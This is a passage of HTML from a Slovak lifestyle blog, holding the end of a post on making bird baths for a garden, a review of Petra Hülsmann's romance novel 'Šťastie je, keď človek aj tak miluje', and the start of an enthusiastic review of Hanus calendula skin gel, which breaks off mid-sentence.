starostlivosť a výchovu mladej generácie. A okrem toho, že takto pomáhate zvieratkám, <b>zdroje vody jednoducho prinášajú ešte viac života do každej záhrady</b> a nielen vtáky priam magicky priťahujú. Väčšina z nich vodu potom vyhľadáva počas dňa opakovane. </p><p style="text-align: justify;"></p><blockquote style="text-align: justify;"><span style="font-size: large;">Verte alebo nie, ale na <b>ranných predstaveniach kúpajúcich sa vtákov</b>, ktoré na vode doslova tancujú, neváhajú do vody ponoriť svoje hlávky a dosýta sa oddávajú divokej vodnej zábave, <b>budete čoskoro isto závislí</b> :)</span></blockquote><p></p><p style="text-align: justify;">Spoľahlivý pravidelný <b>prísun čerstvej vody vtáky potrebujú</b> rovnako na pitie ako i na kúpanie. <b>Najlepšie vtáčie vodné kúpalisko</b> vychádza z inšpirácie prírodou samotnou a nemusí to byť pritom nič zložité. Okraje vodných tokov, ale i mláky či plytké kaluže vody – presne to vo voľnej prírode vtáky vyhľadávajú. Napájadlá, fontánky, jazierka a podobné vodné zdroje dnes nie je problém kúpiť aj hotové, ale v princípe, <b>účel splní každá miska</b> s pravidelným prísunom čerstvej vody a kľudne to môže byť aj plytší kvetináč. Alebo to skúste podobne ako my a <b>zrecyklujte niečo, čo už nepotrebujete</b>. </p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeUzua_umOiHFvtQTOAOmSdogXKFrlgZILeyRnH0oBZtaz6EE7k-YXwI_5ynfof5vJBT3Kr4Z8ulM8iWJgpeMiPf4sqrkxgTuEYEABug7LehE5xyI5AMe9yeXev0P6DOlPpPbR1Ehom1SI/s2048/napajadlo-eko-zahrada-pre-vtaky.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeUzua_umOiHFvtQTOAOmSdogXKFrlgZILeyRnH0oBZtaz6EE7k-YXwI_5ynfof5vJBT3Kr4Z8ulM8iWJgpeMiPf4sqrkxgTuEYEABug7LehE5xyI5AMe9yeXev0P6DOlPpPbR1Ehom1SI/w640-h480/napajadlo-eko-zahrada-pre-vtaky.jpg" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><i>mini záhradné jazierko vytvorené „panvicovou“ recykláciou</i></td></tr></tbody></table><p style="text-align: justify;">Napájadlo na foto je <b>umiestnené do zeme, na polotienistom, ale dobre viditeľnom mieste</b> tak, aby sa smädní drobci nestali ľahkou korisťou predátora – napr. v podobe vždy pripravenej susedovej mačky a zároveň je prispôsobené tak, aby bolo z neho možné pitie (niekoľko kamienkov pri okraji) ale rovnako aj osviežujúci kúpeľ v hlbšej časti. </p><p style="text-align: justify;">V tomto vtáčom jazierku, svoju <b>druhú šancu dostala už vyradená kuchynská panvica</b>, ktorej funkcia bezpečnej prípravy jedla už skončila a celkom iste by sa čoskoro stala už iba ďalej nerecyklovateľným odpadom. Po jednoduchom dočistení už odlupujúcej sa teflónovej vrstvy a prestriekaní kameninovým sprejom <b>vznikol osviežujúci vtáčí vodný kúpeľ</b>, ktorý celkom účelne zapadol nielen do záhradnej tvorby.</p><h3 style="text-align: justify;">Umiestnenie zdroja vody</h3><p style="text-align: justify;">Ak takýto kúpeľ umiestnite <b>v blízkosti tieňa stromu, voda počas letných dní zostane</b> nielen dlhšie <b>chladnejšia a čerstvejšia</b>, ale vtáky ocenia blízkosť konárov stromov, na ktorých si budú môcť posedieť a v kľude našuchoriť čerstvo osviežené pierka :) Prípadne pridajte na strom ešte jeden bonus v podobe krmítka alebo hniezdnej búdky a vaša <b>záhrada bude zaručene ešte atraktívnejšia</b>. Umiestnením vodného zdroja však môžete zároveň na svoju záhradu prilákať niekedy aj iné druhy vtákov, ktoré sa nezvyknú prikrmovať semienkami <a href="https://gardeon.sk/blog/9-inspiracii-na-vyrobu-krmidiel-a-domcekov-pre-vtaciky-s-detmi/" target="_blank">z kŕmidla</a> a preto sa bežne v záhradách až tak často neobjavujú. Aké vtáky a v akom počte budú navštevovať vami pripravený vtáčí kúpeľ<b> </b>do značnej miery ovplyvňuje aj <b>poloha vašej záhrady i druh vegetácie v jej bezprostrednom okolí</b>. Nemenej dôležitý je aj dôraz kladený na <b>správne umiestnenie zdroja vody</b> z hľadiska bezpečnosti. Vtáky bývajú kúpaním nadšené a zaneprázdnené natoľko, že do istej miery strácajú aj svoju inak bežnú ostražitosť a môžu tak byť zraniteľnejšie ako inokedy. S obľubou budú kúpeľ vytvorený vo vašej záhrade používať iba vtedy, ak sa v ňom budú cítiť bezpečne.</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRsEXw-bAx4zBuHfKisSKPa9Z4qNk7m5FRqpDXr3CrzbUWWs5BZnhJUeOY0OdYFQCkY-UdWMoOlvel5x_y0l_x_nEBwCXQ7aX88YhkwCq54_OC-TY_xBGMItykxwCSR7FoP66vj9lD2tbd/s1920/vt%25C3%25A1%25C4%258Die-nap%25C3%25A1jadla-v-z%25C3%25A1hrade.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="1280" data-original-width="1920" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRsEXw-bAx4zBuHfKisSKPa9Z4qNk7m5FRqpDXr3CrzbUWWs5BZnhJUeOY0OdYFQCkY-UdWMoOlvel5x_y0l_x_nEBwCXQ7aX88YhkwCq54_OC-TY_xBGMItykxwCSR7FoP66vj9lD2tbd/w640-h426/vt%25C3%25A1%25C4%258Die-nap%25C3%25A1jadla-v-z%25C3%25A1hrade.jpg" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><i>Trasochvost biely (lat. Motacilla alba) na okraji plytkej vody</i></td></tr></tbody></table><p style="text-align: justify;">V hlbokej vode sa drobné vtáky neokúpu, pretože to, čo <b>v prírode prirodzene vyhľadávajú</b> bývajú rôzne <b>plytčiny alebo kaluže</b> po daždi. Ponúknite im na výber preto <b>rôzne úrovne hladiny vody</b>. Usporiadajte na okraji vodnej hladiny niekoľko plochých alebo menších kameňov a nechajte ich pár centimetrov vyčnievať ponad hladinu. Počas teplých letných mesiacov to <b>vtáky ocenia</b> <b>na pozvoľné vbrodenie sa do vody</b>. V chladných až mrazivých zimných dňoch naopak ocenia to, že môžu na okraji vodného zdroja na kameňoch stáť a piť vodu i bez toho, aby zakaždým boli mokré. A hoci počas chladných dní vtáky nevyhnutnú potrebu vody pokrývajú aj kvapkami rosy, či šťavnatým bobuľkami ovocia a v prípade zimy aj snehom či námrazou, ak im v záhrade s pitným režimom pomôžete, zapamätajú si to a celkom iste sa k vám vždy s radosťou vrátia, pretože údajne <b>majú vynikajúcu pamäť na miesta</b> :) </p><h3 style="text-align: justify;">Prečo vtáky potrebujú vodu na kúpanie?</h3><p style="text-align: justify;">Kúpanie pre vtáky <b>predstavuje dôležitú súčasť údržby peria</b>. Logicky vzaté, je nevyhnutné, aby si vtáky svoje perie udržiavali v dobrom stave. Kúpeľ je dôležitý nie len <b>pre osvieženie</b> počas horúcich dní. Kúpanie im pomáha aj <b>pre ľahšie uvoľnenie starého peria</b>, a zároveň uľahčuje cestu pre obnovu operenia, prípadne pomáha aj s upokojením svrbiacej pokožky. Navlhčením peria sa zároveň ľahšie <b>uvoľňuje prach a iné nečistoty</b> a perie je prevzdušnené a lepšie uhladiteľné. Našuchorené očistené perie si vtáčiky následne starostlivo uhládzajú a pierko po pierku usporiadavajú, pričom ich pretierajú tukom uvoľneným zo žliaz. Tento proces je nevyhnutný najmä počas zimných dní, nielen pre zaistenie nepremokavosti, ale najmä takto tvoria izolačnú vrstvu, ktorá im pomáha pri udržiavaní teploty. </p><h3 style="text-align: justify;">Hygiena vodného zdroja</h3><p style="text-align: justify;">Prvým krokom k zaisteniu čistoty a hygieny vody je jej pravidelná výmena. Udržiavanie čistoty vodného zdroja <b>pomáha predchádzať chorobám vtákov</b>. V priebehu dňa stačí vodu len dolievať, aby sa vykryli straty, ktoré najmä v letných dňoch vplyvom tepla prirodzene vznikajú odparovaním. Väčšiu spotrebu vody v horúcich dňoch mávajú samozrejme aj vtáky, a to najmä vďaka osviežujúcim kúpeľom, ktorými sa radi počas dňa schladia.<b> Základnú hygienu zdroja zabezpečí výmena vody</b>, ktorá by mala byť ideálne každodenná, prípadne raz za 1 – 2 dni. Okrem toho <b>občas býva nevyhnutné</b> ešte aj trošku <b>dôkladnejšie čistenie a upratovanie</b>. Najneskôr vtedy, keď už spozorujete kalenie hladiny vody spôsobené dlhodobejšími usadeninami, značnejší výskyt vtáčieho trusu, znečistené perie, riasy, odumreté listy či iné nečistoty na hladine. V takom prípade možno na vyčistenie a dezinfekciu použiť aj bežné <b>čistiace prostriedky</b> používané v domácnosti – ideálne ekologické a netoxické. Nezabudnite ani na dôkladné opláchnutie zvyškov čistiacich prostriedkov pred opätovným naplnením kúpeľa vodou. </p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8HxqQsoOWiDJCWq87GnaTIu-TUn5_k55p5ecmiiEWJeZ-ECQ5xS1PSj9T39FpBXKh2aoNuCHCnyjqmskn8TuNztTcKD-dTbJjC4tMyDCI8P7uXwN3hzxiyXMMwcI9PGS1HkNess22HS_k/s2048/betonove-napajadlo-pre-vtaky-zahrada.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8HxqQsoOWiDJCWq87GnaTIu-TUn5_k55p5ecmiiEWJeZ-ECQ5xS1PSj9T39FpBXKh2aoNuCHCnyjqmskn8TuNztTcKD-dTbJjC4tMyDCI8P7uXwN3hzxiyXMMwcI9PGS1HkNess22HS_k/w640-h480/betonove-napajadlo-pre-vtaky-zahrada.jpg" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><i>domáce betónové DIY záhradné napájadlo po vyčistení, je jednoducho prenosné a premiestniteľné</i></td></tr></tbody></table><p style="text-align: justify;"><b>Všimli ste si niekedy ako vtáky vlastne pijú?</b> Že takým vrabcom voda stečie dolu hrdlom až potom, čo zodvihnú hlavu? Alebo, že najväčším <b>kúpeľovým labužníkom v záhrade býva zaručene drozd</b>? Jeho nadšenie z kúpeľa je vždy zážitkom :) A hoci drozd kúpajúci sa v napájadlách, takmer vždy znamená nevyhnutnosť doplniť vodu, ktorú všade naokolo vyšpliechal, mať <b>možnosť pozorovať</b> toto predstavenie pre nás už <b>neodmysliteľne k letným dňom v záhrade patrí.</b> Viac ako 20 druhov drobného vtáctva, ako napr. sýkorky, stehlíky, vrabce, alebo aj tie ktoré na jar znovu prilietajú ako žltochvosty, trasochvosty... aj pre ne má voda u nás veľký význam :)<span style="text-align: left;"> </span></p><p></p><div style="text-align: right;">✍🏻 <i>by Veve & Lulu</i></div><i><div style="text-align: right;"><i><span style="font-size: x-small;">zdroj foto: pixabay.com, bioekologika</span></i></div></i><p></p>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com3tag:blogger.com,1999:blog-6325209529031853485.post-47402722022796254402021-07-27T12:57:00.014+02:002021-07-27T13:10:29.870+02:00ŠŤASTIE JE, KEĎ ČLOVEK AJ TAK MILUJE (Petra Hülsmann)<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyNUfPC4gvGdMaDwbiBXfmo5rKC1-cYPc7AEWoWjKLYvrNht5BFQdQ4zh-sC_jzF4SS3qsEDXCFkQ26H88CUGSrb-jhUZ86u9IxfWrLZJhVcl7GYm6eaaGlQsxzN7-f59Qt637rPO87BQ3/s815/petra-hulsmann-stastie-je-ked-clovek-aj-tak-miluje-recenzia_1.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="611" data-original-width="815" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyNUfPC4gvGdMaDwbiBXfmo5rKC1-cYPc7AEWoWjKLYvrNht5BFQdQ4zh-sC_jzF4SS3qsEDXCFkQ26H88CUGSrb-jhUZ86u9IxfWrLZJhVcl7GYm6eaaGlQsxzN7-f59Qt637rPO87BQ3/s16000/petra-hulsmann-stastie-je-ked-clovek-aj-tak-miluje-recenzia_1.jpg" /></a></div><br /><p style="text-align: justify;">Ak patríte k ľuďom, ktorí nemajú radi zmeny, s <i><b>Isabelle Wagnerovou</b></i> (ktorú priatelia volajú Isa) by ste si určite porozumeli. <b>Život v zabehaných koľajach, detailne naplánovaný program každého dňa</b> v týždni, práca v malom kvetinárstve v Hamburgu a obľúbená rezancová polievka dňa na obed - to je presne to, čo <b>dáva jej životu zmysel a poriadok</b>. Lenže nič netrvá večne a väčšinou zmeny prichádzajú v tom najneočakávanejšom čase. A neskôr si vlastne uvedomí, že aj obyčajná polievka môže zmeniť celý doterajší život.</p><p style="text-align: justify;"></p><blockquote style="text-align: justify;"><span style="font-size: large;">Dlhých 11 rokov sa deň nezaobišiel bez rezancovej polievky Mr. Leeho, keď však svoj podnik zavrel, <b>Isa musela prekonať svoje predsudky a odhodlane vstúpiť do reštaurácie U Thiela</b><b>. </b>Zámer bol jasný...presvedčiť sa, že jej frflanie na novú reštauráciu je opodstatnené. Lenže už prvý rozhovor s <i><b>Jensom Thielom</b></i> (majiteľom a šéfkuchárom reštaurácie) stanovil spôsob, v akom sa budú viesť takmer všetky ich nasledujúce rozhovory a príhody.</span></blockquote><p></p><p style="text-align: justify;">Ani jeden nechce tvrdohlavo ustúpiť zo svojej pozície, no napriek tomu a mnohým slovným výmenám sa nakoniec predsa len dohodnú. Isa začne dodávať kvetinovú výzdobu do reštaurácie a na oplátku jej Jens predstavuje skutočne gurmánske pochúťky, ktoré by za iných okolností do úst určite nevložila :) Keď k tomu pridáme <b>zoznámenie sa s mladšou Jensovou sestrou <i>Merle</i></b>, pri pokuse o drobnú krádež v kvetinárstve, táto <b>neobyčajná trojica ľudí si vytvorí skutočne neobyčajné puto.</b></p><i><div style="text-align: justify;"><i><span style="font-size: large;">„Zachráň sa kto môžeš, prišla mafia,“ začula som zrazu za sebou Jensov hlas. Otočila som sa a videla, ako s dvomi kartónmi vína vchádza cez vchodové dvere.</span></i></div><div style="text-align: justify;"><i><span style="font-size: large;">„Presne. Kvetinová mafia. Ver mi, mňa sa báť nemusíš.“</span></i></div><div style="text-align: justify;"><i><span style="font-size: large;">„Teba sa nebojím. Sporné sú len tvoje obchodné metódy.“</span></i></div><div style="text-align: justify;"><i><span style="font-size: large;">„Normálne niečo také nerobím,“ namietla som, hoci mi mohlo byť úplne jedno, čo si o mne myslí.</span></i></div><div style="text-align: justify;"><i><span style="font-size: large;">„Aha, takže ja v tebe prebúdzam tvoje temné stránky.“ s. 38</span></i></div><div style="text-align: justify;"><i><span style="font-size: large;"><br /></span></i></div></i><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuDs3-WIqS3kth-IPg9u3BBOtStyRUkXz3Qe6gN7NqiM93HORFhUuMuiA3ZMPtUoPJy54FPIaSZJpk0lEDsd5hoZYAM65ybqx1_d2TcQNddGyhrm0nK30LwkDasHkIS208x19WEnSP3G8k/s2048/petra-hulsmann-stastie-je-ked-clovek-aj-tak-miluje-beletria.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuDs3-WIqS3kth-IPg9u3BBOtStyRUkXz3Qe6gN7NqiM93HORFhUuMuiA3ZMPtUoPJy54FPIaSZJpk0lEDsd5hoZYAM65ybqx1_d2TcQNddGyhrm0nK30LwkDasHkIS208x19WEnSP3G8k/w640-h480/petra-hulsmann-stastie-je-ked-clovek-aj-tak-miluje-beletria.jpg" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-gS44CvgSZYBdSaUKrUZ8PFDSPOe80gqP9E__O2qwq-UQfKXlxK1mM4rz7O3p8vmuBeuv0nn4J2T3u8jGbezM28CcOggTH52D000Kmiz-nVbSs3gyMqvCM207Y4IatyDjx_jN8_hO9-uT/s2048/petra-hulsmann-stastie-je-ked-clovek-aj-tak-miluje-kniha.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-gS44CvgSZYBdSaUKrUZ8PFDSPOe80gqP9E__O2qwq-UQfKXlxK1mM4rz7O3p8vmuBeuv0nn4J2T3u8jGbezM28CcOggTH52D000Kmiz-nVbSs3gyMqvCM207Y4IatyDjx_jN8_hO9-uT/w640-h480/petra-hulsmann-stastie-je-ked-clovek-aj-tak-miluje-kniha.jpg" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilZ5j8bvpZ1z69jVmbNWhWC2NrfuOzK2kDzoYLLjS9_JmKh9bR1XAO7jlp7Wto-r8togk0uAsjtU7ne5nFkL_40STqFXkidQGz08W7C7RHu-0b39e-R3NBkjLHGmaFE_BK9t0uq6CeUDY9/s2048/petra-hulsmann-stastie-je-ked-clovek-aj-tak-miluje-ikar.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilZ5j8bvpZ1z69jVmbNWhWC2NrfuOzK2kDzoYLLjS9_JmKh9bR1XAO7jlp7Wto-r8togk0uAsjtU7ne5nFkL_40STqFXkidQGz08W7C7RHu-0b39e-R3NBkjLHGmaFE_BK9t0uq6CeUDY9/w640-h480/petra-hulsmann-stastie-je-ked-clovek-aj-tak-miluje-ikar.jpg" width="640" /></a></div><br /><p style="text-align: justify;">Okrem toho, že <b>Isa žije svoj</b> <b>život v prísne usporiadanom svete</b> a nestrpí <b>žiaden chaos a komplikácie</b>, zaujímavý je aj jej pohľad na lásku a vzťahy. Dala by sa opísať ako <b>nevyliečiteľná romantička</b> <b>hľadajúca pána pravého</b> a dokonalého, ktorý spĺňa jej vysnívané až nereálne predstavy. A keďže sa s Jensom stanú blízkymi priateľmi, témou ich rozhovorov sú celkom prirodzene aj vzťahy. Samozrejme, každý z nich má iné životné skúsenosti a názory. A preto, kým <b>Isa verí, že existuje bezhraničná láska, rozvedený Jens je skôr zatrpknutým protikladom</b>: <i><span style="font-size: large;">„Keby bol môj život hollywoodsky film, možno by som tomu veril. Ale ako sa ukazuje, určite to nie je môj prípad. Ja som nateraz s témou láska a vzťahy skončil. Okrem toho láska nie sú iba jemné melódie a vonné sviečky. Niekedy, nie, vlastne dosť často je láska skôr riadna kopa hnoja a death metal a až vtedy, keď si to obaja uvedomia, potom je to pravá láska. To, čo sa stáva na prvý pohľad, nemá s láskou nič spoločné.“ s.107</span></i></p><p style="text-align: justify;">Udalosti, ktoré nasledujú potom, sa nedajú opísať lepším spôsobom ako je to uvedené v podtitule tejto knihy - <i><b>Láska je to, čo sa ti stane, zatiaľ, čo ju hľadáš</b></i>. Isa spozná finančného experta Alexa, ktorý zdanlivo spĺňa všetky jej predstavy ideálneho partnera, lenže postupne jej názory na lásku dozrievajú a uvedomí si, že ten, koho skutočne miluje je predsa len Jens.</p><p style="text-align: justify;"><i><span style="font-size: large;">„Nie je to smiešne? Prvýkrát v živote nemám ani potuchy, čo sa stane alebo kde budem o dva, päť alebo desať rokov. Naháňa mi to pekelný strach. Napriek tomu to považujem za správne.“ s.346</span></i></p><p style="text-align: justify;">Cesta k tomuto poznaniu je mierne povedané kľukatá, s Jensom nejde o lásku na prvý pohľad, napriek tomu ju každým dňom presviedča o tom, že on je láskou jej života, ktorá obráti všetko hore nohami. Otázkou už len zostáva, čo cíti Jens? Súhlasí s tým, že sú jeden pre druhého ako stvorení?</p><br /><b>Originálny názov:</b> Glück ist, wenn man trotzdem liebt<br /><b>Autor:</b> Petra Hülsmann<br /><b>Vydavateľstvo:</b> <a href="https://www.bux.sk/" target="_blank">Ikar</a><br /><b>Rok vydania:</b> 2018<br /><b>Počet strán:</b> 360<br /><b>Bežná predajná cena:</b> 12,90 €<br /><b>Žáner/doba:</b> romantická beletria zo súčasnosti<h4 style="text-align: justify;">Záverečné zhrnutie:</h4><p></p><div style="text-align: justify;"><a href="https://www.bux.sk/knihy/382522-stastie-je-ked-clovek-aj-tak-miluje.html" target="_blank">Šťastie je, keď človek aj tak miluje</a>, je moderne poňatý príbeh lásky, ktorý <b>sa príjemne číta aj zásluhou sviežich a sarkastických dialógov</b> medzi Isou a Jensom. Majú v sebe potrebnú dávku humoru, napätia a rozdielnych postojov nielen vďaka odlišnosti pohlaví, ale aj pováh. Spoločné dni, kedy si užívajú chvíľky pre seba sa stanú tými najkrajšími spomienkami, čo sa im v posledných rokoch prihodili. Napriek tomu, v príbehu <b>nejde o presladené a naťahované texty</b>, skôr sú ladené humorne a akčne v zmysle toho, že sa stále niečo deje.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Mimochodom, ak by vás zaujímalo, prečo je na konci knihy uvedený <b>recept na lávový koláč</b>... vedzte, že <b>v príbehu zohráva kľúčovú úlohu</b> a stretnete sa s ním niekoľkokrát...a možno po prečítaní budete mať chuť si ho podľa receptu aj pripraviť :)</div><p></p><p style="text-align: right;">✍🏻 <i>by Lulu</i></p><br />bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-18203919871844674152021-07-07T12:50:00.000+02:002021-07-07T12:50:33.287+02:00RECENZIA: Nechtíkový gél HANUS<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhavI4wCLYD-24z8ENeNfwUJ6Z9Tz-RDfWhSNFM5WFJkkeNL0BdElR2ZGmTTmMZSBPZfggZ0o5v1YqLaU0ar2Nq5nt1JYQAa1b4ehn6ZVcsyHD5YXOtDa0z5YhZOjuhIYPWNJAsaJkAnjQx/s815/hanus-nechtikovy-gel-na-pokozku-1.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="611" data-original-width="815" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhavI4wCLYD-24z8ENeNfwUJ6Z9Tz-RDfWhSNFM5WFJkkeNL0BdElR2ZGmTTmMZSBPZfggZ0o5v1YqLaU0ar2Nq5nt1JYQAa1b4ehn6ZVcsyHD5YXOtDa0z5YhZOjuhIYPWNJAsaJkAnjQx/s16000/hanus-nechtikovy-gel-na-pokozku-1.jpg" /></a></div><br /><p style="text-align: justify;">O niektorých produktoch si človek môže myslieť, že sú skutočne zázračné. Jasné, že nič nefunguje všetkým celkom rovnako a každý máme svojich obľúbencov, ale <b>nechtíkový gél Hanus</b> bez mihnutia oka zaraďujeme k TOP produktom, ktoré už roky pravidelne používame a nechystáme sa na tom nič zmeniť. O tom ako rýchlo účinkuje, sa môžete presvedčiť aj len na obyčajnej vyrážke. Pretože už po niekoľkých hodinách<b> redukuje začervenanie, opuch a aj bolesť</b>...a to sa počíta, pretože niekedy to nie je len estetický problém.</p><p style="text-align: justify;"><span style="font-size: large;"><b></b></span></p><blockquote style="text-align: justify;"><span style="font-size: large;"><b>Nechtíkový gél Hanus</b> je spoľahlivý pomocník na <b>rôzne poranenia a poškodenia pokožky</b>, od drobných škrabancov a záderov až po bežné “domáce“ <b>rezné rany, popáleniny</b> alebo aj bolestivé <b>stopy po bodnutí od hmyzu</b>.</span></blockquote><p></p><p style="text-align: justify;">Súčasne s týmto, musíme potvrdiť, že sa nám rovnako dobre osvedčil aj pri výraznejších poškodeniach a hlbších poraneniach, kedy si hojenie vyžadovalo dlhšie časové obdobie. S pravidelným používaním nechtíkového gélu sa rany postupne zaceľovali až zostali takmer neviditeľné. Okrem toho, že gél <b>podporuje a urýchľuje hojenie</b>, zároveň <b>pôsobí aj antibakteriálne a antisepticky</b>, čo vlastne tiež posilňuje a urýchľuje celý proces a vďaka tomu sa nestáva, že by sa rana neustále zapaľovala a nedokázala prejsť do záverečnej fázy hojenia.</p><p style="text-align: justify;">Samozrejme, tajomstvo úspechu nie je náhoda. Tieto super vlastnosti má gél už v popise výrobku, pretože je určený na <i>"Hojivé pôsobenie (urýchlenie granulácie a epitelizácie tkaniva), protizápalové a protibakteriálne účinky na pokožke."</i> Nie je to len zovšeobecňujúci popis, naše skúsenosti hovoria samé za seba. A ak ste sa teraz zamysleli, že čo to vlastne znamená granulácia a epitelizácia tkaniva, tak na vysvetlenie, nie je to nič iné ako:</p><p style="text-align: center;"></p><ul><li style="text-align: justify;"><b><span style="font-size: large;">granulácia</span></b> - <i>fáza hojenia, v ktorej sa vytvoria nové krvné cievy a tkanivo postupne vyplní ranu</i></li><li style="text-align: justify;"><b><span style="font-size: large;">epitelizácia</span></b> - <i>záverečná fáza, ktorá začína z okrajov a postupne vyplní ranu</i></li></ul><p></p><p style="text-align: justify;">Čiže obe fázy sú vlastne niečo veľmi prirodzené a potrebné, aby sa pokožka opäť dostala do zdravého stavu.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyD_IE7jQt2iSyIRXU0-idmm5Z7iMWUmRIu7EP6xF7WOij4G9fg7LI7gcRcDYYMXA4YENnOv0uq-zHUKppeq2-WT_cRR75phig5j08puCahkd8_96UGFpw5y8HHo9IZvYiRLSjT6nbwkFl/s2048/hanus-nechtikovy-gel-kozmetika.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyD_IE7jQt2iSyIRXU0-idmm5Z7iMWUmRIu7EP6xF7WOij4G9fg7LI7gcRcDYYMXA4YENnOv0uq-zHUKppeq2-WT_cRR75phig5j08puCahkd8_96UGFpw5y8HHo9IZvYiRLSjT6nbwkFl/w640-h480/hanus-nechtikovy-gel-kozmetika.JPG" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgajLQ27VgY9Ia-6Xzuv6rzVJ9GupTWngnWb5-6VZLWvHB275qX5soZnB-CcsXDkrrBdC44RnhialVnSf72gquaDbDCnniEmD2mIduxhf9ZYofbu4JxKCdH-as0aLcjYX78BuokWGhBUkaz/s2048/hanus-nechtikovy-gel-na-zapaly-rany.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgajLQ27VgY9Ia-6Xzuv6rzVJ9GupTWngnWb5-6VZLWvHB275qX5soZnB-CcsXDkrrBdC44RnhialVnSf72gquaDbDCnniEmD2mIduxhf9ZYofbu4JxKCdH-as0aLcjYX78BuokWGhBUkaz/w640-h480/hanus-nechtikovy-gel-na-zapaly-rany.jpg" width="640" /></a></div><br /><p style="text-align: justify;">Celkom logicky, základom tohto gélu je <b>nechtík lekársky</b>, respektíve jeho extrakt a konkrétne ide o odrodu s názvom <i>Plameň</i>. Nechtík je jedna z najznámejších a najrozšírenejších liečivých rastlín, ktorá je známa už stáročia a dodnes sa s obľubou používa najmä pri mnohých kožných problémoch. Podľa výskumov vo významnom množstve obsahuje skupinu zlúčenín triterpénov, u ktorých sa potvrdili <b>protizápalové vlastnosti</b>. A tiež sa výskumom dospelo k záveru, že môže stimuláciou rastu nových krvných ciev a pokožky, prispievať k <a href="https://www.benulekaren.sk/pripravky-na-hojenie-ran-a-jaziev " target="_blank">hojeniu rán</a>. Nechtík je zároveň určite jedným zo symbolov leta už len vďaka výrazným oranžovým a žltým kvetom, ktoré dokážu potešiť na pohľad a bez pochýb aj prispieť k zdraviu organizmu. Majte ale na pamäti fakt, že <a href="https://www.benulekaren.sk/hanus" target="_blank">Hanus</a> <b>nechtíkový gél</b> obsahuje v zložení aj etanol (o.i. kvôli dezinfekčným vlastnostiam) a ten môže spôsobiť mierne podráždenie a štípanie pokožky. Záleží však od konkrétneho poranenie, od jeho rozsahu a aj od citlivosti vašej kože, takže je to výsostne individuálna záležitosť, či a ako budete na obsah alkoholu reagovať.</p><p style="text-align: justify;">Ďalším nesporným plusom ale je, že <b>nechtíkový gél má redšiu konzistenciu</b>, ktorá sa našťastie nerozteká. Práve naopak, vďaka “gélovitosti“ ho <b>pohodlne dokážete rozotrieť</b> aj na popálené miesto bez toho, aby ste od bolesti "vyskočili z kože". Ak si ho predtým dáte <b>na chvíľu do chladničky</b>, v tomto prípade <b>100 % znásobíte jeho uľavujúci efekt</b>...rovnako schladí aj štípance od hmyzu a zmierni opuch. Spotreba vám tiež neurobí vrásky na čele, väčšinou ho stačí maličké množstvo a vďaka tomu vydrží aj niekoľko dlhých mesiacov :) Zaujímavá je jeho <b>vôňa</b>. Asi najviac nám pripomína marhuľový džem, alebo niečo veľmi podobné kombinácii marhuľovému džemu s dominanciou charakteristickej arómy kvetu nechtíka :) ale ak by ste ju aj prirovnali k niečomu inému ako k džemu, aj tak sa pravdepodobne zhodneme, že je <b>príjemná a jemná</b>.</p><p style="text-align: justify;">Ako sme už spomínali, my <b>nechtíkový 